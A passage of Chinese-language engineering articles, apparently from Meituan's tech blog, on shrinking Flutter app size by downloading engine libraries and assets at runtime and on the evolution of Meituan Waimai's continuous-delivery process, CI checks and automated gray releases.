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打包阶段：我们在原有的 APK 打包流程中，加入一些自定义的 gradle plugin 来

对 Flutter 产物进行处理。在预处理流程，我们将一些无用的资源文件移除，然后将

flutter_assets 中的文件打包为 bundle.zip。然后通过 DynLoader 提供的上传插件将

libflutter.so、libapp.so 和 flutter_assets/bundle.zip 从 APK 中移除，并上传到动态

发布系统托管。其中对于多架构的 so，我们通过在 build.gradle 中增加 abiFilters 进

行过滤，只保留单架构的 so。最终打包出来的 APK 即为瘦身后的 APK。

不经处理的话，瘦身后的 APK 一进到 Flutter 页面肯定会报错，因为此时 so 和

flutter_assets 可能都还没下载下来，即使已经下载下来，其位置也发生了改变，再

使用原来的加载方式肯定会找不到。所以我们在运行阶段需要做一些特殊处理：

1.	Flutter 路由拦截

首先要使用 Flutter 路由拦截器，在进到 Flutter 页面之前，要确保 so 和 flutter_

assets 都 已 经 下 载 完 成， 如 果 没 有 下 载 完， 则 显 示 loading 弹 窗， 然 后 调 用

DynLoader 的方法去异步下载。当下载完成后，再执行原来的跳转逻辑。

2. 自定义引擎初始化

第一次进到 Flutter 页面，需要先初始化 Flutter 引擎，其中主要是将 libflutter.so 和

libapp.so 的路径改为动态下发的路径。另外还需要将 flutter_assets/bundle.zip 进

行解压。

3. 自定义资源加载

当引擎初始化完成后，开始执行 Dart 代码的逻辑。此时肯定会遇到资源加载，比如

字体或者图片。原有的资源加载器是通过 method channel 调用 AssetManager 的

方法，从 APK 中的 assets 中进行加载，我们需要改成从动态下发的路径中加载。

下面我们详细介绍下某些部分的具体实现。

3.2.2	自定义引擎初始化

原 有 的 Flutter 引 擎 初 始 化 由 FlutterMain 类 的 两 个 方 法 完 成， 分 别 为 startIni-
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tialization 和 ensureInitializationComplete， 一 般 在 Application 初 始 化 时 调 用

startInitialization（懒加载模式会延迟到启动 Flutter 页面时再调用），然后在 Flutter

页面启动时调用 ensureInitializationComplete 确保初始化的完成。

图 15　Android 侧 Flutter 引擎初始化流程图
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在 startInitialization 方 法 中， 会 加 载 libflutter.so， 在 ensureInitializationCom-

plete 中 会 构 建 shellArgs 参 数， 然 后 将 shellArgs 传 给 FlutterJNI.nativeInit 方

法， 由 jni 侧 完 成 引 擎 的 初 始 化。 其 中 shellArgs 中 有 个 参 数 AOT_SHARED_

LIBRARY_NAME 可以用来指定 libapp.so 的路径。

自定义引擎初始化，主要要修改两个地方，一个是 System.loadLibrary(“flutter”)，

一个是 shellArgs 中 libapp.so 的路径。有两种办法可以做到：

1. 直接修改 FlutterMain 的源码，这种方式简单直接，但是需要修改引擎并重新

打包，业务方也需要使用定制的引擎才可以。

2. 继承 FlutterMain 类，重写 startInitialization 和 ensureInitializationCom-

plete 的逻辑，让业务方使用我们的自定义类来初始化引擎。当自定义类完成

引擎的初始化后，通过反射的方式修改 sSettings 和 sInitialized，从而使得

原有的初始化逻辑不再执行。

本文使用第二种方式，需要在 FlutterActivity 的 onCreate 方法中首先调用自定义的

引擎初始化方法，然后再调用 super 的 onCreate 方法。

3.2.3	自定义资源加载

Flutter 中的资源加载由一组类完成，根据数据源的不同分为了网络资源加载和本地

资源加载，其类图如下：
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图 16　Flutter 资源加载相关类图

AssetBundle 为资源加载的抽象类，网络资源由 NetworkAssetBundle 加载，打包

到 Apk 中的资源由 PlatformAssetBundle 加载。

PlatformAssetBundle 通过 channel 调用，最终由 AssetManager 去完成资源的

加载并返回给 Dart 层。

我们无法修改 PlatformAssetBundle 原有的资源加载逻辑，但是我们可以自定义

一个资源加载器对其进行替换：在 widget 树的顶层通过 DefaultAssetBundle 注

入。

自定义的资源加载器 DynamicPlatformAssetBundle，通过 channel 调用，最终从

动态下发的 flutter_assets 中加载资源。

3.2.4	字体动态加载

字体属于一种特殊的资源，其有两种加载方式：

1.	静态加载：在 pubspec.yaml 文件中声明的字体及为静态加载，当引擎初始

化的时候，会自动从 AssetManager 中加载静态注册的字体资源。

2.	动态加载：Flutter 提供了 FontLoader 类来完成字体的动态加载。
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当资源动态下发后，assets 中已经没有字体文件了，所以静态加载会失败，我们需

要改为动态加载。

3.2.5	运行时代码组织结构

整个方案的运行时部分涉及多个功能模块，包括产物下载、引擎初始化、资源加载

和字体加载，既有 Native 侧的逻辑，也有 Dart 侧的逻辑。如何将这些模块合理的

加以整合呢？平台团队的同学给了很好的答案，并将其实现为一个 Flutter Plugin：

flutter_dynamic（美团内部库）。其整体分为 Dart 侧和 Android 侧两部分，Dart 侧

提供字体和资源加载方法，方法内部通过 method channel 调到 Android 侧，在

Android 侧基于 DynLoader 提供的接口实现产物下载和资源加载的逻辑。

图 17　FlutterDynamic 结构图
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四、方案的接入与使用

为了让大家了解上述方案使用层面的设计，我们在此把美团内部的使用方式介绍给大

家，其中会涉及到一些内部工具细节我们暂不展开，重点解释设计和使用体验部分。

由于 Android 和 iOS 的实现方案有所区别，故在接入方式相应的也会有些差异，下

面针对不同平台分开来介绍：

4.1	iOS

在上文方案的设计中，我们介绍到包瘦身功能已经集成进入美团内部 MTFlutter 工具

链中，因此当业务方在使用了 MTFlutter 后只需简单的几步配置便可实现包瘦身功能

的接入。iOS 的接入使用上总体分为三步：

1. 引入 Flutter 集成插件（cocoapods-flutter-plugin 美团内部 Cocoapods 插件，

进一步封装 Flutter 模块引入，使之更加清晰便捷）：

gem 'cocoapods-flutter-plugin', '~> 1.2.0'

2. 接入 MTFlutterRoute 混合业务容器（美团内部 pod 库，封装了 Flutter 初始化及

全局路由等能力），实现基于“瘦身”产物的初始化：

Flutter 业务工程中引入 mt_flutter_route：

dependencies:
  mt_flutter_route: ^2.4.0

3. 在 iOS Native 工程中引入 MTFlutterRoute pod：

binary_pod 'MTFlutterRoute', '2.4.1.8'

经过上面的配置后，正常 Flutter 业务发版时就会自动产生“瘦身”后的产物，此时

只需在工程中配置瘦身模式即可完成接入：

flutter 'your_flutter_project', 'x.x.x', :thin => true
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4.2	Android

4.2.1	Flutter 侧修改

在 Flutter 工程 pubspec.yaml 中添加 flutter_dynamic（美团内部 Flutter Plugin，

负责 Dart 侧的字体、资源加载）依赖。

在 main.dart 中添加字体动态加载逻辑，并替换默认资源加载器。

void main() async {
   // 动态加载字体
  await dynFontInit();
  // 自定义资源加载器
  runApp(DefaultAssetBundle(
    bundle: dynRootBundle,
    child: MyApp(),
  ));
}

4.2.2	Native 侧修改

1. 打包脚本修改

在 App 模块的 build.gradle 中通过 apply 特定 plugin 完成产物的删减、压缩以及

上传。

2. 在 Application 的 onCreate 方法中初始化 FlutterDynamic。

3. 添加 Flutter 页面跳转拦截。

在跳转到 Flutter 页面之前，需要使用 FlutterDynamic 提供的接口来确保产物已经

下载完成，在下载成功的回调中来执行真正的跳转逻辑。

class FlutterRouteUtil {
    public static void startFlutterActivity(final Context context, 
Intent intent) {
        FlutterDynamic.getInstance().ensureLoaded(context, new 
LoadCallback() {
            @Override
            public void onSuccess() {
              // 在下载成功的回调中执行跳转逻辑
                context.startActivity(intent);
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            }
        });
    }
}

备注：如果 App 有使用类似 WMRoute 之类的路由组件的话，可以自定义一个

UriHandler 来统一处理所有的 Flutter 页面跳转，同样在 ensureLoaded 方法回调

中执行真正的跳转逻辑。

4. 添加引擎初始化逻辑

我们需要重写 FlutterActivity 的 onCreate 方法，在 super.onCreate 之前先执行自

定义的引擎初始化逻辑。

public class MainFlutterActivity extends FlutterActivity {
    @Override
    protected void onCreate(Bundle savedInstanceState) 
      // 确保自定义引擎初始化完成
        FlutterDynamic.getInstance().ensureFlutterInit(this);
        super.onCreate(savedInstanceState);
    }
}

五、总结展望

目前，动态下发的方案已在美团内部 App 上线使用，Android 包瘦身效果到达

95%，iOS 包瘦身效果达到 30%+。动态下发的方案虽然能显著减少 Flutter 的包体

积，但其收益是通过运行时下载的方式置换回来的。当 Flutter 业务的不断迭代增长

时，Flutter 产物包也会随之不断变大，最终导致需下载的产物变大，也会对下载成

功率带来压力。后续，我们还会探索 Flutter 的分包逻辑，通过将不同的业务模块拆

分来降低单个产物包的大小，来进一步保障包瘦身功能的可用性。

https://github.com/meituan/WMRouter
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美团外卖持续交付的前世今生

作者：晓飞　王鹏　江伟

0. 前言

美团外卖自 2013 年创建以来，业务一直在高速发展，目前日订单量已突破 3000 万

单，已成为美团点评最重要的业务之一。美团外卖所承载的业务，从早期单一的美食

业务发展成为了外卖平台业务。目前除餐饮业务外，闪购、跑腿、闪付、营销、广告

等产品形态的业务也陆续在外卖平台上线。参与到美团外卖平台的业务团队，也从早

期的单一的外卖团队发展成为多业务团队。每个业务团队虽然都有不同的业务形态，

但是几乎都有相同的诉求：需求能不能尽快地上线？

然而，Native 应用的发布依赖于应用市场的更新，周期非常长，非常不利于产品的

快速迭代、快速试错。同时，作为平台方，我们需要考虑到各个业务团队的诉求，统

筹考虑如何建立怎么样的模型、配套什么样的技术手段，才能实现最佳的状态，满足

各业务更短周期、高质量的交付业务的诉求。本文会首先回顾美团外卖从早期的月交

付，逐渐演变成双周交付，再从双周交付演变成双周版本交付配合周动态交付的过

程。然后从外卖的历史实践中，浅谈一个好的持续交付需要综合考虑哪些关键因素，

希望对大家有所帮助或启发。

1. 交付模型

一个需求从产生到交付再到用户的手上，要经历需求调研、需求分析、程序设计、代

码开发、测试、部署上线等多个环节。在整个过程中，由于涉及到不同角色的人员，

而不同角色人员的认知存在差异，不同的程序语言存在差异，不同的开发方式也存在

差异。在整个交付需求的过程中，还面临着需求可能会被变更、交付周期可能会被变

更等各种情况。这些情况使得需求的交付变得非常复杂、不可预期。而软件开发的首

要任务就是持续、尽早地交付有价值的软件。怎么解决这一问题，是软件工程一直在
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研究的话题。早在 20 世纪 50 年代，软件领域就在积极地探索设计什么样的模型可

以解决这些问题。常见的包括瀑布流模型、迭代模型、螺旋模型、敏捷模型等等。由

于篇幅原因，本文不再做详细的介绍。

2. 什么是持续交付

关注持续交付，不同的企业、不同的团队站在不同的角度存在不同的定义。《持续交

付 2.0：业务引领的 DevOps 精要》一书认为，站在企业的角度，将持续交付定位为

一个产品价值的开发框架，是一个工具集，其中包含了一系列的原则和众多实践，帮

助提升企业的内部运转速度和交付效率。

从知乎话题“如何理解持续集成、持续交付、持续部署”，我们可以看到大部分研发

团队，会从软件研发的角度进行定义，他们将软件的开发步骤拆解为持续集成、持续

交付、持续部署，其中持续集成指开发人员从编码到构建的过程；持续交付指将已经

集成构建完成的代码，交付给测试团队进行测试的过程；持续部署指将测试通过的软

件交付给用户的过程。而产品团队会站在产品的角度来看，他们认为持续交付，是从

需求的 PRD 文档提出来，到用户能够感受到这个需求的周期。

从美团外卖业务的角度，我们可以将持续交付定位为“外卖用户”和“外卖团队”之

间的紧密反馈流。而外卖团队涉及到 PM、UI/UE、RD 和 QA 角色。如下图所示，

产品同学从市场或用户的需求和反馈中收集到需求，转换为需求 PRD 文档，交由设

计交互同学设计成期望用户所见的界面和行为，然后交给研发团队进行调研实现。研

发团队实现后，再交给测试团队进行测试。等测试团队完成测试后，提交到应用市

场，最终交付到用户手上，这个过程是本文所考虑的交付。“持续”指的是，外卖团

队将外卖的业务拆分成不同维度的子业务，每个子业务持续通过这个迭代流程不断地

优化各个子业务达到最优，从而使整个外卖业务达到最优。

https://www.codercto.com/a/49728.html
https://www.codercto.com/a/49728.html
https://www.zhihu.com/question/23444990
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3. 外卖持续交付模型的变迁史

3.1	外卖的早期交付模型

早期外卖的交付模式为“串行交付”，一个版本完成后，开启下一个版本。整个交付

过程包括需求评审、需求开发、迭代提测、一轮提测、二轮提测、三轮提测、灰度提

测和全量发布 8 个环节：

由于美团的外卖业务是一个双平台业务，需要同时开发外卖 App 和美团 App，在人

力安排上，我们会分成两个组，App 组和频道组并行开发。App 组开发当前的版本

业务，频道组同步上个版本的业务到当前的美团平台版本。整个版本周期耗时六周半

左右，遇到节假日会顺延，全年能发版 11 ～ 12 个，版本交付周期如下图所示：
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交付模型中关键点

1. 需求评审分为主打需求、非主打需求和统计需求。

 ○ 主打需求：客户端开发 10d 之前进行评审，评审 8d 后 UI 提供初稿，评审

14d 后 UI 定稿。

 ○ 非主打需求：两个三方评审窗口，窗口 1 为窗口 2 的前 5d，窗口 2 为上一

版本二轮测试地一天，UI 定稿需要在客户端开发第一周内完成。

2. 统计需求：需求收集截止到立项评审前一天，三方评审为非主打需求评审后第

二天。服务器在需求评审后，客户端开发第一周前，提供接口文档。

3. 客户端开发周期为两周，客户端开发第 5 个自然日 API 提测，客户端开发第

5 天发迭代提测包，第二周结束发提测包。

4. QA 验收提测包，一轮 3d、二轮 3d、三轮 1d。

5. 灰度 3d，需避开节假日前发灰度。

6. 全量发布电子市场。

单月发版优缺点

优点：

1. 每个版本可根据当版的情况控制版本的周期，可同时支持多个大需求的并行

开发。

2. 版本较为固定，各角色的分工明确，开发人员在开发期较为专注，开发效率高。

3. 测试周期长，App 能够得到充分的测试。
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缺点：

1. 版本迭代周期较长，从需求评审开始到需求灰度，需要 6.5 周，无法满足日

益增长的业务诉求，对于一些尝试性项目，无法满足 PM 急迫上线验证效果

的需求。

2. 发版频率低，每年只有 11~12 个版本，对标其他互联网公司，业务产出相对

较低。

3. 每个角色的利用率不高，如 RD 在开发期的时候，QA 处在待测试状态。

3.2	双周迭代的交付模型实践

为了满足日益增长的业务诉求，我们提出了双周发版的交付模式，从而实现业务的快

速迭代。贯彻的总体原则为：评审、开发、测试完全并行，以两周为固定周期，以需

求维度持续交付。

3.2.1	双周迭代模型

在切换双周迭代模式之前，需要落地一些准备工作，例如统一版本排期的时间表、确

定项目中各个角色的交付时间，让 PM、UI、客户端 RD、服务端 RD 和 QA，各角

色都能够清晰的知道自己接入的时间点，并在规定的时间点交付内容。由于各角色的

任务和分工得到了明确，减少了协作中的沟通成本，各角色也可以如齿轮一样，持续

产出交付给下游团队，整个交付周期效率得到了有效的提升，一个版本的周期缩短为

5.5 周，发版次数上升到 22~24 版本。

版本各个角色分工详情示意图如下所示：
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双周模型中关键点：

 ● W1 需求评审：周三 PM 组织三方评审业务需求 + 埋点需求 +UI 需求。

 ● W2 排期：周三 API RD 出排期，周四客户端 RD 出排期，UI 产出视觉初稿。

客户端 RD 排期需细化至需求可提测时间点，便于 QA、PM 和 UI 提前协调

测试、验收时间。

 ● W3 接口评审 + 服务端先行开发：接口文档，UI 资源周四前到位。

 ● W4 客户端开发，周四 API 提测（最晚）。

 ● W5 客户端开发 + 冒烟测试：RD 开发完后直接冒烟测试，以需求维度交付给

QA，不需要等到最后一天集中冒烟测试；需求交付后，PM 与 UI 可介入验收

环节。

 ● W6 客户端测试 + 周二服务端上线：客户端一轮测试结束前，PM 与 UI 应完成

需求验收。

 ● W7 灰度 + 周二全量理想状态一个版本的周期为五周半。

 ● W3 时，PM 会继续组织三方评审；W4 时，API 继续开发下版本；W5 时，客

户端 RD 会继续下一个版本的开发。

3.2.2	分组交付

双周迭代模式的变化也推动我们在人力分配方面的改进，人力安排演变经历了三个

过程：

在双周迭代的过程中，客户端的交付是连贯的，理想状态是每个 RD 可以隔版进行需

求开发。但是大家都知道，写完需求是不可能没有 Bug 的，需求的估时也不可能都

是 5 的倍数，这样就会造成很多 RD 既要开发当前版本，又要解决上个版本的 Bug。

这间接引入了 2 个问题：
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1. 个人成长方面：单个 RD 可能会在同一个时间段内，出现又要评审需求、又要

开发需求、又要改 Bug，时间长了会堆积疲惫感。另外，需求的估时不是 5 的

倍数，每个版本单个 RD 是否能满人力工作是不确定的，不利于资源的分配。

2. 人力分配合理性：版本的需求是存在不确定性的，而 App 的需求熟悉度是存

在和 RD 一一对应的，当熟悉度最高的 RD 在上个版本的时候，当前版本的

版本主 R 就会很头疼，是“能者多劳”还是“合理分配”，给人力分配的合理

性又带来了新的挑战。

后来我们经过内部研究，提出了 AB 分组的方案，保证 AB 组是隔版本进行开发，当

组内需求拆分有冲突时，需要在内部协调消化，避免 RD 出现每个版本都会参与开发

的情况发生。
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AB 分组施行以后每个 RD 都是各版本开发的，不会出现同一个时间段内，要处理上

个版本的 Bug 和当版需求的情况。但业务的熟悉度和 RD 的强对应关系还是没有得

到解决，所以我们就进一步的思考，提出采用业务维度 AB 组。如下图所示，我们先

将同学进行业务划分，在以业务组进行 AB 的划分。当然这个业务组人员的数量需要

考虑业务的规划情况，当某一个业务需求量增长上来的时候，业务组的大小也需要同

步进行增长。
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3.2.3	双周迭代的优缺点

双周迭代的优点

 ● 提高了业务迭代效率，从而提升了业务的产出，以一月能够完成二个版本的交

付速度，持续地交付版本，达到一年交付 20-24 个版本的交付目标。

 ● 在人力整合利用上更加合理化，各角色都能够持续的产出，版本的交付周期变

为 5.5 周。

双周迭代的不足

相比之前的当月发版，虽然双周迭代带来一定收益，但还是存在一些客观的问题：

 ● 从评审到交付，发布周期还是太长，产品快速上线的诉求依然不能得到很好的

满足。

 ● 敏捷性受到一定影响，对于特定需求和小需求不是很友好。

3.3	双周结合周交付的模型实践

外卖在历经了双周迭代后，一定程度的缩短了版本交付周期，提高了业务迭代效率，

优化了人力安排，但是仍然存在一些问题。对于一些简单的需求来说，像外卖中“我

的页面”模块的点击热区扩大（“我的页面”已经是 RN 页面），实际上开发只需要 2

天，却仍然要跟随版本迭代的节奏，5.5 周后才能上线，需求交付周期仍需进一步缩

短。另外，外卖自研动态化框架 Mach 在大量业务的应用落地，多种开发流程及交付

需要，使得双周交付越来越难满足外卖业务版本迭代及交付的节奏。

3.3.1	动态化能力的建设

为了满足业务需求的快速上线及外卖面临的包体积的压力，外卖引入了动态化来解决

此类痛点问题。外卖动态化能力建设的思路主要是：核心流程页面区域动态化，区域

动态化方案采用外卖自研的 Mach 动态化框架，核心流程采用区域动态化，保证页

面的稳定性及用户体验，非核心流程页面 MRN 化（Meituan React Native），通过

MRN 来替换所有的低 PV 页面，下线 Native 页面。具体技术细节可参考《React 

Native 在美团外卖客户端的实践》一文。

https://tech.meituan.com/2019/12/19/meituan-mrn-practice.html
https://tech.meituan.com/2019/12/19/meituan-mrn-practice.html
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目前外卖低 PV 的 MRN 页面数量已达：56/67，已经覆盖了外卖所有的低 PV 页面，

除核心流量页面均为 MRN 页面，从页面数量维度，MRN 页面占比已达 83.58%。

Mach 区域动态化覆盖了首页核心流量区、二级金刚页、订单页、点菜页及搜索页，

目前上线的模板数已达 43 个。

3.3.2	双周迭代&周迭代

在完成了外卖动态化能力的建设后，外卖业务逐渐演进出了两类需求：

1. 主版本需求，主版本需求主要是 Native 方式实现，结合少部分动态化需求。

2. 敏捷开发需求，主要通过动态化和敏捷模型的加入实现高效的版本迭代，动

态化主要指上节所介绍的动态化能力的建设，敏捷模型采用前文所说的敏捷

模型。

面对上述两类需求，现有双周迭代及分组交付流程，对于部分特定需求及小需求不太

友好，无法做到需求最快速上线，如上述“我的页面”点击热区扩大。

因此，我们在双周迭代的基础上，演进出了现在的双周迭代结合周迭代的交付模型，

交付模型图如下：

双周迭代结合周迭代的交付模型是在原有双周迭代的基础上，保持主版本需求双周

迭代不变，增加每周的动态上线窗口，以每周二为动态上线窗口时间，周五为提测

DeadLine，根据动态化需求的开发及提测时间来动态搭车上线。
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目前，外卖的周迭代需求分为两类：

1. 纯动态化需求，根据需求开发及测试排期选择上线窗口，搭最近一次的上线

窗口。

2. 动态化结合 Native 需求，跟随主版本交付流程，在提测周发版上线，主要面

向敏捷迭代内容。

纯动态化需求由于不依赖 Native 发版，无需依赖 Native 的全回归，开发完成可随时

提测，提测后功能测试完成即可上线，可以做到需求的最快速上线。敏捷迭代内容，

不依赖主版本的评审，采用自主评审，自主决策跟版的策略。

而多种动态化方案的开发模式，需要统一的动态化发版及上线能力的支撑。外卖周迭

代发版及上线具体可以分为两步：

1. 发版。将动态化模板进行打包，得到 Bundle 并上传，通过 Talos 平台（美团

内部自研）进行打包，Talos 是基于前后端分离思想设计的一套前端 DevOps

解决方案。

2. 上线。将通过 Talos 打包得到的 Bundle 上线发布，发布通过 EVA 客户端动

态分发平台进行线上发布。

具体流程如下图所示：

截止目前，外卖周迭代发版经过了 15 个上线窗口，共计发版 50+ 次。
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双周迭代结合周迭代的交付方式进一步缩短了版本的交付周期，从需求收集评审到需

求上线对于敏捷需求可以缩短到 3.5 周。对于纯动态化需求可缩短到 1 周，最终做到

了需求评审做到了需求的快速上线、快速验证、快速修复，敏捷迭代。

3.4	自动化版本管理系统

在施行了双周迭代结合周迭代后，大大缩短了需求的上线周期，但是同时也提升了版

本流程管理的复杂度。怎么样保证版本流程的正常运作呢？外卖 C 端涉及开发人员分

为 A、B 组及敏捷开发人力；同时涉及美团频道及外卖 App 双平台，需要考虑双平台

的版本迭代周期；涉及阶段多，各阶段都需要人工操作，执行事件多，双端执行事件

总计 40+；涉及双版本并行开发，仓库代码管理复杂。

原有版本迭代流程，版本各阶段的所有事件都由相应负责人执行。

1. 分支创建、版本降级检查、每日 QA 包号周知，仓库集成及基础库同步、打

包，提测邮件等都由迭代工程小组人员负责执行。

2. 仓库拉出 Release 分支，提审灰度后分支合并、集成、发版由外卖各仓库负

责人负责执行。

3. 周迭代、迭代、一轮、二轮、三轮提测阶段冒烟周知，则通过排班的形式，

在冒烟提测当天，由人工提醒并监督。

在版本迭代流程上会耗费了大量的人力。如何解放这部分人力，让整个版本迭代流程

自动化，做到无人值守，减少人工操作的失误，是此前外卖前端技术团队面临的非常

头疼的问题。

在我们规范了双周迭代 & 周迭代的流程后，版本各阶段的时间能够基本固定。为了能

够做到自动化，我们把版本各阶段需要人工操作的事件整理归类，把事件确定到当前

版本的固定一天固定时间点，以一个版本为例，我们整理归类如下：
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确定好所有事件的执行时间后，我们便尝试把所有需要人工操作的事件自动化。并通

过在确定的时间去触发，来做到整个版本流程的自动化。

早期的版本管理，我们依托于 Gulf（美团内部日期管理系统）、QA-Assistant 系统

（美团内部事件通知系统）、CI 及大象（美团内部通讯工具）消息，通过在 Gulf 系统提

前配置好各版本各事件的时间，并通过 QA-Assistant 配置人员名单及消息，在固定

时间节点，Gulf 去触发 QA-Assistant，通过上述方式，做到了各类提醒的自动化，

并且在 CI 上部署上自动化 Job，由人工触发。

但是通过这种方式，存在一些弊端：

1. 版本各节点事件都需人工单独一个个配置，且 Gulf 和 QA-Assistant 系统的

触发一直需要关注。

2. 仍然需要大量人工操作，只能做到流程的半自动化，人力还是无法做到解放。

3. 版本流程无法做到可视化。

为了解决上述问题，我们和 Tide 版本管理系统（美团内部组件）共建，实现了现在的

外卖 C 端自动化流程管理。以 Gulfstream 的版本排期为基准，通过 Tide 版本管理

系统进行事件触发，通过脚本将 CI、Stash 仓库管理系统、HyperloopX 发版打包

系统、大象整合，做到代码 / 分支管理自动化、打包集成自动化、周知提醒自动化、

版本流程可视化。
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在版本开始前配置好当前版本，后续则会在版本的每个关键节点自动执行需要执行的

事件。

Tide 版本管理可视化界面如下，按照版本各阶段及时间线顺序排列：
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各类事件提醒及执行通知如下：

各类提醒确认结果即时展示：

3.5	CI 建设

在 CI 建设方面，我们工作主要集中在以下 5 个阶段：准备阶段、PR 检测、开发阶

段、提测阶段和发版阶段。
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下面介绍三个 CI 工作中，外卖场景下的特定检查：

 ● Aimeituan 工程独立编译自动配置：同事反馈配置团 App 源码依赖的配置项

较繁琐，切换开发分支时需要反复进行配置，为了提供 RD 的开发体验，通

过脚本自动修改 WM 提测分支的源码依赖配置项，只需修改 Aimeituan 的

gradle.properties 一个属性实现源码依赖切换，实现一键切换的功能，提高

版本开发效率，优化项包括：

 ○ 业务方依赖只保留团首页和外卖业务。

 ○ 只保留开发调试必要的插件：ServiceLoader 和 WmRouter，提高编译

速度。

 ○ 只保留调试 Flavor：提高编译速度。

 ● 业务库检测是否有 PR 未合入：版本快速迭代对代码管理也带来了挑战，发生

了几次因为 RD 未及时合入代码，影响 QA 提测进度的问题，因此在打提测包

之前增加了一个检测环节，如果检测到有 PR 未合入提测分支，将在大象群统

一周知发起人，提高版本的交付质量。
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 ● 定时检测壳工程是否有更新，自动触发打包，保证 QA 第二天能回归前一天所

有的修改，避免测试返工的问题，提高版本测试有效性。

总结

 ● Aimeituan 独立编译配置从 5 ～ 10 分钟（同事反馈从修改配置到同步完成的

耗时）降低到 45s 左右，优化了 80% ～ 90%。

 ● 在经过了几个版本的实践证明，自动化检测 PR 合入是有必要的，而且能够有

效降低开发人为失误导致漏提交代码发生的概率。

 ● 每天早上同步 Aimeituan 的 Release 分支，及时周知负责人同步结果，减少

人工 Check 的重复工作。
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3.6	部署发布

部署和发布，对于移动 App 来说，已经到了最后的环节。我们认为的部署行为主要

指将一个还处在测试的版本提交到测试环境，然后让 QA 进行测试，发布行为主要指

将测试完成的稳定版本提交到线上环境交付给用户。当然对于部署和发布，每个团队

都可以思考自己的定义。例如我们进一步的细化部署和发布的行为，可以划分为部署

测试环境、部署线上环境、部署回滚、发布灰度、发布灰度监控、发布全量、发布回

滚、发布监控等等。下面主要介绍外卖业务在部署发布中，建设的业务事务流和无人

灰度监控。

3.6.1	发布事务流

发布在整个交付过程中是最重要的一环，而这个环节涉及的角色主要是 RD 和 QA。

我们需要明确的定义这个环节 RD 和 QA 的事务，避免角色间沟通不畅，跨角色的任

务不清的问题。外卖通过持续的优化流程，明确流程的操作行为，来监督流程的正常

运行，形成当前的事务流，如下图所示：

这里需要重点讲解图中的关键点：
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 ● 事务流中，RD 负责交付代码到测试环境，QA 同学负责测试环境的和线上环

境的验证。RD 和 QA 角色按照时间顺序，各自前面工作和后面工作，事项归

属清晰明确。

 ● 流程中设置 TL Approve 和 QA Approve，同时，RD 作为代码的完成者，只

具备测试环境的部署权限，最终线上的权限由 QA 掌控，做到了上线的双角色

Check，避免了 RD 即是“裁判员”又是“运动员”的情况。

 ● 当完成测试时候，部署线上环境和线上环境发布，都做到自动执行，通过自动

化的手段节约重复的工作。

3.6.2	无人值守灰度

一个功能上线，往往要经历灰度到全量的过程。由于灰度已经是到了交付到用户手上

的最终环境，灰度前的检查和放量都非常重要，需要做到万无一失。灰度的次数往往

是全量次数的 2~3 倍，这使得灰度的成本在整个交付流程中也变得非常高。理想情

况下，我们希望发布前的流程都做到自动化，灰度的过程，也无需人工参与，自动的

放量、停灰、全量，出现异常自动执行灰度 SOP、监控项也在灰度的时候自动开启，

出现异常自动同步信息给相关方。但在实际过程中，由于平台的差异，部分环节还是

很难做到，例如 iOS 的发布。下图是外卖业务无人值守灰度的流程：

其中几个关键点：

 ● 起始点来源于我们录入的 GulfStream 日期，由于双周迭代后，版本的迭代周

期是可预期的，所以能够以季度维度录入 GulfStream 中，由此处触发整个链

条的启动。

 ● 我们利用 Tide 版本管理系统，将版本的日期自动读入，在需要发布的节点前，

自动检查，做好自动化检查，部分无法自动化的，由 Tide 系统提醒 RD 和

QA 去做检查。
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 ● 定义好灰度放量策略，在发布时按照设定策略，自动发布放量。

 ● 外卖业务非常复杂，监控的内容也很复杂，对这个环节不是很熟悉的同学，是

很难胜任监控运维工作的，自动化更是无法执行，因此外卖的策略是将监控报

警标准化，制定 SLA，分级别定义监控、报警、预案、执行人，当版本发布

后，触发监控 Job，以分钟级去 CAT（已经开源）、Sniffer、Crash 等等平台

去拉取当前灰度版本的数据和定义的指标比较。如果在合理定义范围内，继续

监控。如果出现异常，大象定向通知相关处理人。这样使得灰度的自动化监控

工作的执行过程是可操作的。

4. 外卖持续交付的总结

美团外卖业务，应该建立怎么样的模型、配套什么的技术手段，才可以在更短的周期

内，高质量地交付业务，满足各团队的发展呢？我们从早期的单月交付，到双周交

付，再到双周交付结合周交付，我们在不断地尝试和演进外卖的持续交付模型。随着

不断的深入了解，我们发现这是一个很大的话题。到目前为止，美团外卖团队在这条

路上只能算得上是刚刚起步。不过，在实践的过程中，我们也逐渐地摸索到一些经

验，在此分享一下我们的思考。

4.1	遵循原则

首先我们认为持续交付需要遵循以下的原则：

持续自动化

在我们整个交付的过程中，有大量的工作是会重复进行的，如果我们不能将这些重复

的操作逐渐变成自动化，我们就需要频繁、反复地去做一些看不到收益，但是又不得

不去进行的事情。随着交付的内容变得越来越多，交付的速度要越来越快，团队的疲

劳感会越来越重，最终疲于奔命。在实际的工作中，由于发布的形态流程的不标准、

生成环境和数据的不一致，我们无法一次性做到所有环节自动化，但这不影响我们先

站在全局去思考，去持续地拆解子问题，将子问题逐渐地变成自动化。随着整个交付

过程的自动化程度不断提升，整个流程会变得简单容易，这样开发人员可以更加聚焦
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在完成功能本身的工作上。

前置解决

大部分人心理上对于比较麻烦、比较痛苦的事项，都倾向不做或者拖到最后去做。由

于存在这样的心理，如果在交付流程中遇到问题，我们的方案很容易掉到一个陷阱

中，倾向保持现状或延后再处理。但是，对于一个多人协作交付的业务来说，这是非

常不可取的，越往后处理，对整个交付的影响越大，处理效率越低下。举个例子来

说，一个 PR 可能导致一个历史功能不可用，如果我们在这个同学提这个 PR 的时候

就拦截到，那么只会影响这个同学，也不需要回溯问题；如果延到代码集成环节，那

么就需要想办法去找到是谁，然后因为什么原因提这段代码，本次集成就可能直接导

致失败，影响其他正在集成的代码。如果拖到测试环境，那么就会涉及至少 RD 和

QA 等两个角色去追寻这个问题。所以在持续交付的过程中，我们尽可能尽早地将问

题在刚出现时就解决掉，保障整个交付流水线的通畅。

版本化

在我们持续交付的过程中，要将每个环节尽可能的版本化。不仅仅从代码方面版本

化，针对数据、配置、环境都可以进一步的版本化。版本化的好处是不言而喻的，首

先在实现版本化的过程中，尽可能地将各个环节解耦开，让环节和环节之间没有强依

赖。当某一个环节出现异常的时候，我们可以很快地降级到无问题的版本，从而保障

整个流水线的持续运转。版本化的另一个好处，就是可回溯，当出现异常的时候，我

们可以很快地对比历史版本和当前版本的差异，缩小范围，快速的定位问题。

持续反馈

在整个交付的过程中，每个环节都可能出错。当出错的时候，需要快速地反馈到相关

的负责人。该负责人也需要尽快地将反馈的问题处理，给予一个稳定的版本。如果没

